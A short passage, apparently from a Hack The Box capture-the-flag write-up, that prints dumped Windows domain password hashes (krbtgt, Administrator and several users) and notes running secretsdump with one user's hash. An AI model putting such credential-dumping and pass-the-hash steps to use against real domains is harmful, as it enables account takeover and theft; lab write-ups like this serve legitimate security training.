krbtgt:502:aad3b435b51404eeaad3b435b51404ee:296ec447eee58283143efbd5d39408c8:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c718f548c75062ada93250db208d3178:::
Domain User ID Hash
------ ---- -- ----
HTB.LOCAL Guest 501 -
amanda:1104:aad3b435b51404eeaad3b435b51404ee:7d0516ea4b6ed084f3fdf71c47d9beb3:::
mrb3n:1105:aad3b435b51404eeaad3b435b51404ee:bceef4f6fe9c026d1d8dec8dce48adef:::
mrlky:1603:aad3b435b51404eeaad3b435b51404ee:bceef4f6fe9c026d1d8dec8dce48adef:::
This contained the hashes for the administrator as well as the other users.
With those credentials I was able to do a secretsdump with mrlky hash.